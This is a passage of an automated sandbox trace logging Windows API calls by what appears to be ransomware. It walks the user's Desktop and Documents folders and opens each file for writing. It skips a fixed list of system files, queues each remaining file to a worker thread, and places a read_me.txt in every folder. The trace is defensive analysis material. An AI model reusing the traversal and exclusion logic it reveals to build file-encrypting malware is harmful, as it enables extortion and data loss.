ftLastWriteTime.dwLowDateTime=0x1a983870, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.640] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\read_me.txt") returned 73 [0078.640] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\9l6yke2ncx\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0078.640] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.640] CloseHandle (hObject=0x834) returned 1 [0078.640] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8eb2f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a8eb2f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a983870, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0078.640] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.641] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\9l6YkE2Ncx\\read_me.txt") returned 73 [0078.641] GetProcessHeap () returned 0x540000 [0078.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0078.641] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 42 [0078.641] GetProcessHeap () returned 0x540000 [0078.641] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42320d0 | out: hHeap=0x540000) returned 1 [0078.641] GetProcessHeap () returned 0x540000 [0078.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42320d0 [0078.641] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\*") returned 71 [0078.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.641] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\.") returned 71 [0078.641] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2fbd5a0, ftCreationTime.dwHighDateTime=0x1d4c9af, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.641] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\..") returned 72 [0078.641] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x322cec10, ftCreationTime.dwHighDateTime=0x1d4d292, ftLastAccessTime.dwLowDateTime=0x5be13a20, ftLastAccessTime.dwHighDateTime=0x1d4cefa, ftLastWriteTime.dwLowDateTime=0x5be13a20, ftLastWriteTime.dwHighDateTime=0x1d4cefa, nFileSizeHigh=0x0, nFileSizeLow=0x4856, dwReserved0=0x540000, dwReserved1=0x0, cFileName="6Np863uvujWXI_l40Hs.wav", cAlternateFileName="6NP863~1.WAV")) returned 1 [0078.641] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\6Np863uvujWXI_l40Hs.wav") returned 93 [0078.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\6Np863uvujWXI_l40Hs.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\6np863uvujwxi_l40hs.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0078.641] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="read_me.txt") returned 0x0 [0078.641] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="autoexec.bat") returned 0x0 [0078.641] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="desktop.ini") returned 0x0 [0078.641] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="autorun.inf") returned 0x0 [0078.641] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="ntuser.dat") returned 0x0 [0078.642] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="iconcache.db") returned 0x0 [0078.642] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="bootsect.bak") returned 0x0 [0078.642] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="boot.ini") returned 0x0 [0078.642] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="ntuser.dat.log") returned 0x0 [0078.642] StrStrW (lpFirst="6np863uvujwxi_l40hs.wav", lpSrch="thumbs.db") returned 0x0 [0078.642] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 47 [0078.642] QueueUserWorkItem (Function=0x404e00, Context=0x834, Flags=0x0) returned 1 [0078.642] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56805280, ftCreationTime.dwHighDateTime=0x1d4d3a2, ftLastAccessTime.dwLowDateTime=0xd3089810, ftLastAccessTime.dwHighDateTime=0x1d4c60c, ftLastWriteTime.dwLowDateTime=0xd3089810, ftLastWriteTime.dwHighDateTime=0x1d4c60c, nFileSizeHigh=0x0, nFileSizeLow=0xe233, dwReserved0=0x540000, dwReserved1=0x0, cFileName="iATfWourDF_VbLZ.m4a", cAlternateFileName="IATFWO~1.M4A")) returned 1 [0078.642] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\iATfWourDF_VbLZ.m4a") returned 89 [0078.642] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\iATfWourDF_VbLZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\iatfwourdf_vblz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x838 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="read_me.txt") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="autoexec.bat") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="desktop.ini") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="autorun.inf") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="ntuser.dat") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="iconcache.db") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="bootsect.bak") returned 0x0 [0078.642] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="boot.ini") returned 0x0 [0078.643] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="ntuser.dat.log") returned 0x0 [0078.643] StrStrW (lpFirst="iatfwourdf_vblz.m4a", lpSrch="thumbs.db") returned 0x0 [0078.643] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 48 [0078.643] QueueUserWorkItem (Function=0x404e00, Context=0x838, Flags=0x0) returned 1 [0078.643] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9a99d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.643] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\read_me.txt") returned 81 [0078.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0078.643] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.643] CloseHandle (hObject=0x83c) returned 1 [0078.643] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d834f0, ftCreationTime.dwHighDateTime=0x1d4cc5e, ftLastAccessTime.dwLowDateTime=0x711582a0, ftLastAccessTime.dwHighDateTime=0x1d4d370, ftLastWriteTime.dwLowDateTime=0x711582a0, ftLastWriteTime.dwHighDateTime=0x1d4d370, nFileSizeHigh=0x0, nFileSizeLow=0xea3c, dwReserved0=0x540000, dwReserved1=0x0, cFileName="UgVk9.ots", cAlternateFileName="")) returned 1 [0078.643] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\UgVk9.ots") returned 79 [0078.643] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\UgVk9.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\ugvk9.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="read_me.txt") returned 0x0 [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="autoexec.bat") returned 0x0 [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="desktop.ini") returned 0x0 [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="autorun.inf") returned 0x0 [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="ntuser.dat") returned 0x0 [0078.643] StrStrW (lpFirst="ugvk9.ots", lpSrch="iconcache.db") returned 0x0 [0078.644] StrStrW (lpFirst="ugvk9.ots", lpSrch="bootsect.bak") returned 0x0 [0078.644] StrStrW (lpFirst="ugvk9.ots", lpSrch="boot.ini") returned 0x0 [0078.644] StrStrW (lpFirst="ugvk9.ots", lpSrch="ntuser.dat.log") returned 0x0 [0078.644] StrStrW (lpFirst="ugvk9.ots", lpSrch="thumbs.db") returned 0x0 [0078.644] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 49 [0078.644] QueueUserWorkItem (Function=0x404e00, Context=0x83c, Flags=0x0) returned 1 [0078.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc0eef0, ftCreationTime.dwHighDateTime=0x1d4ca6a, ftLastAccessTime.dwLowDateTime=0x496b2860, ftLastAccessTime.dwHighDateTime=0x1d4cdd3, ftLastWriteTime.dwLowDateTime=0x496b2860, ftLastWriteTime.dwHighDateTime=0x1d4cdd3, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e, dwReserved0=0x540000, dwReserved1=0x0, cFileName="_4DI- 2.gif", cAlternateFileName="_4DI-2~1.GIF")) returned 1 [0078.644] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\_4DI- 2.gif") returned 82 [0078.644] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\_4DI- 2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\ldy6l2o5 zkc8qgihm\\_4di- 2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="read_me.txt") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="autoexec.bat") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="desktop.ini") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="autorun.inf") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="ntuser.dat") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="iconcache.db") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="bootsect.bak") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="boot.ini") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="ntuser.dat.log") returned 0x0 [0078.644] StrStrW (lpFirst="_4di- 2.gif", lpSrch="thumbs.db") returned 0x0 [0078.644] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 50 [0078.645] QueueUserWorkItem (Function=0x404e00, Context=0x840, Flags=0x0) returned 1 [0078.645] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cc0eef0, ftCreationTime.dwHighDateTime=0x1d4ca6a, ftLastAccessTime.dwLowDateTime=0x496b2860, ftLastAccessTime.dwHighDateTime=0x1d4cdd3, ftLastWriteTime.dwLowDateTime=0x496b2860, ftLastWriteTime.dwHighDateTime=0x1d4cdd3, nFileSizeHigh=0x0, nFileSizeLow=0x2a5e, dwReserved0=0x540000, dwReserved1=0x0, cFileName="_4di- 2.gif", cAlternateFileName="_4DI-2~1.GIF")) returned 0 [0078.645] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.645] wnsprintfW (in: pszDest=0x42320d0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\Ldy6l2o5 ZKC8QGIhm\\read_me.txt") returned 81 [0078.645] GetProcessHeap () returned 0x540000 [0078.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42320d0 | out: hHeap=0x540000) returned 1 [0078.645] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 43 [0078.645] GetProcessHeap () returned 0x540000 [0078.645] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42420d8 | out: hHeap=0x540000) returned 1 [0078.645] GetProcessHeap () returned 0x540000 [0078.645] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42120c0 [0078.645] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\*") returned 63 [0078.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.645] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\.") returned 63 [0078.645] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf91780f0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.645] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\..") returned 64 [0078.645] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d9caf60, ftCreationTime.dwHighDateTime=0x1d4c9fc, ftLastAccessTime.dwLowDateTime=0xed95dc0, ftLastAccessTime.dwHighDateTime=0x1d4ce32, ftLastWriteTime.dwLowDateTime=0xed95dc0, ftLastWriteTime.dwHighDateTime=0x1d4ce32, nFileSizeHigh=0x0, nFileSizeLow=0x9747, dwReserved0=0x540000, dwReserved1=0x0, cFileName="8368UsnjEB_8S.avi", cAlternateFileName="8368US~1.AVI")) returned 1 [0078.645] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\8368UsnjEB_8S.avi") returned 79 [0078.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\8368UsnjEB_8S.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\zplfc7_zsj\\8368usnjeb_8s.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x844 [0078.645] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="read_me.txt") returned 0x0 [0078.645] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="autoexec.bat") returned 0x0 [0078.645] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="desktop.ini") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="autorun.inf") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="ntuser.dat") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="iconcache.db") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="bootsect.bak") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="boot.ini") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="ntuser.dat.log") returned 0x0 [0078.646] StrStrW (lpFirst="8368usnjeb_8s.avi", lpSrch="thumbs.db") returned 0x0 [0078.646] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 51 [0078.646] QueueUserWorkItem (Function=0x404e00, Context=0x844, Flags=0x0) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9a99d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.646] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\read_me.txt") returned 73 [0078.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8ul_erv\\zplfc7_zsj\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x848 [0078.646] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.646] CloseHandle (hObject=0x848) returned 1 [0078.646] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a9a99d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0078.646] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.646] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8UL_ERV\\zplfC7_zsJ\\read_me.txt") returned 73 [0078.646] GetProcessHeap () returned 0x540000 [0078.646] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42120c0 | out: hHeap=0x540000) returned 1 [0078.646] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 44 [0078.647] GetProcessHeap () returned 0x540000 [0078.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42520e0 | out: hHeap=0x540000) returned 1 [0078.647] GetProcessHeap () returned 0x540000 [0078.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42120c0 [0078.647] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*") returned 45 [0078.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.647] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\.") returned 45 [0078.647] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.647] wnsprintfW (in: pszDest=0x42120c0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\..") returned 46 [0078.647] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fbb5770, ftCreationTime.dwHighDateTime=0x1d5905e, ftLastAccessTime.dwLowDateTime=0x607f9dc0, ftLastAccessTime.dwHighDateTime=0x1d531dc, ftLastWriteTime.dwLowDateTime=0x607f9dc0, ftLastWriteTime.dwHighDateTime=0x1d531dc, nFileSizeHigh=0x0, nFileSizeLow=0x13f72, dwReserved0=0x540000, dwReserved1=0x0, cFileName="0c5Q-gE5.xlsx", cAlternateFileName="0C5Q-G~1.XLS")) returned 